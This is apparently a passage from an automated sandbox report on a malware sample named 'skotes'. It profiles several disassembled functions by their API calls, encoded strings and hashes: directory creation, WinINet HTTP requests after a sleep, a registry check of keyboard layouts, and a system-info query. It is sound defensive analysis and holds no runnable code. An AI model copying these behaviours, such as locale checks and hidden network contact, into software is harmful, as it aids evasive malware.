Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: f299a99ac01a753b092d702d24950de1e5df4d92d7a4849d685cc91af1a4fcd0
Instruction ID: 0626e1a1848790370a856410eb6ac71219fe5c33e751c983dfcfd4261a2d1f32
Opcode Fuzzy Hash: f299a99ac01a753b092d702d24950de1e5df4d92d7a4849d685cc91af1a4fcd0
Instruction Fuzzy Hash: F691D0B1A001189FDB28DF68CC85BEEB779EB45304F4085E9E54997282DB719BC4CFA4

Function 0010EB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0010EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0010EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0010ED98

Strings

FisgLnsCZO1i, xrefs: 0010FF19
UA==, xrefs: 0010EC41, 0010ED56, 0010EF89, 0010F2CE
#, xrefs: 00110624
invalid stoi argument, xrefs: 001108B0
FCQgKF==, xrefs: 0010FEE4
111, xrefs: 0010F7A0
WTs=, xrefs: 001105CA
246122658369, xrefs: 0010F737, 0010FA14, 0010FE00, 001105E7
9c9aa5, xrefs: 0010FB8E
stoi argument out of range, xrefs: 001108C4
GiQaT29tduF=, xrefs: 0010FEB6
mxo1L0x, xrefs: 0010EE84
WDw=, xrefs: 0010F71D, 0010F9FA, 0010FDE3

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: 9ed9c8ca8d0ebedc0c78d14438abf9f05eee103929c58d8a519e09310e2a4043
Instruction ID: 2e4aa55b86983487b0c04eefac8751da36b7e5afa9f5763f9f8949739e833334
Opcode Fuzzy Hash: 9ed9c8ca8d0ebedc0c78d14438abf9f05eee103929c58d8a519e09310e2a4043
Instruction Fuzzy Hash: E4F26A71A001489BEB1DDB38CD9A7DDBB72AF85304F1481ACE448A73D6DB758AC4CB91

Function 0010BE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,C6B03A30,?,00000000), ref: 0010BEB8
InternetOpenW.WININET(00158DC8,00000000,00000000,00000000,00000000), ref: 0010BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0010BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 0010BF35
HttpSendRequestA.WININET(?,00000000), ref: 0010BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0010C0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 0010C161
InternetCloseHandle.WININET(?), ref: 0010C187
InternetCloseHandle.WININET(?), ref: 0010C18F
InternetCloseHandle.WININET(?), ref: 0010C197

Strings

8HJUeMD Lq5=, xrefs: 0010C465
stoi argument out of range, xrefs: 0010E4EA
8HJUeIfzLo==, xrefs: 0010C3CB, 0010C623
RE1NXF==, xrefs: 0010BF0E
invalid stoi argument, xrefs: 0010E4F4

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 32d8156f29267441f5ab363b457ce922f5ce1d47137f98318ea703d6f71669ed
Instruction ID: c06d2dc169fe37a8fafc3cc842fc395a6ae3136d94568d85d0641a6bc42f6723
Opcode Fuzzy Hash: 32d8156f29267441f5ab363b457ce922f5ce1d47137f98318ea703d6f71669ed
Instruction Fuzzy Hash: E8B1F6B16101189BDB28CF28CC85BEEBB75EF45304F5082A9F549972D1DBB09AC4CF95

Function 00106020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0010617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00106271

Strings

00000419, xrefs: 00106098
00000422, xrefs: 001060C9
Keyboard Layout\Preload, xrefs: 00106054
00000423, xrefs: 001060FA
0000043f, xrefs: 0010612B

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 24cec46078ae2cf74cdc419571308119c225b8e1bd6c81954602aa8f83bacc0b
Instruction ID: e48f5d7d12f5861644d8c8085911dde6150eae01a5a4f7a603c505db49756fd5
Opcode Fuzzy Hash: 24cec46078ae2cf74cdc419571308119c225b8e1bd6c81954602aa8f83bacc0b
Instruction Fuzzy Hash: 73B1BF719002689BDB24DB54CC84BEEB7B9AF14340F5442E8E548E72D1DBB4AFE88F54

Function 00107D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00107ED3

Strings

JjsrQV==, xrefs: 00108092
JjssOl==, xrefs: 0010813A
JjssPV==, xrefs: 001081E2
JjsrPl==, xrefs: 0010828A

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 0115efa63e52ac89d8ef7213ed4ea9f12745a77a9587220215512e546a74a03b
Instruction ID: 2c8a4891207eb8ddb292fef6f414462cfcbe8627dbf3e07df52fe5f5ed76574f
Opcode Fuzzy Hash: 0115efa63e52ac89d8ef7213ed4ea9f12745a77a9587220215512e546a74a03b
Instruction Fuzzy Hash: 7EE12C70E046549BDB19BB28CD0B39E7772AB82714F94429CE4956B3C2DBB55FC08BC2

Function 00141ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

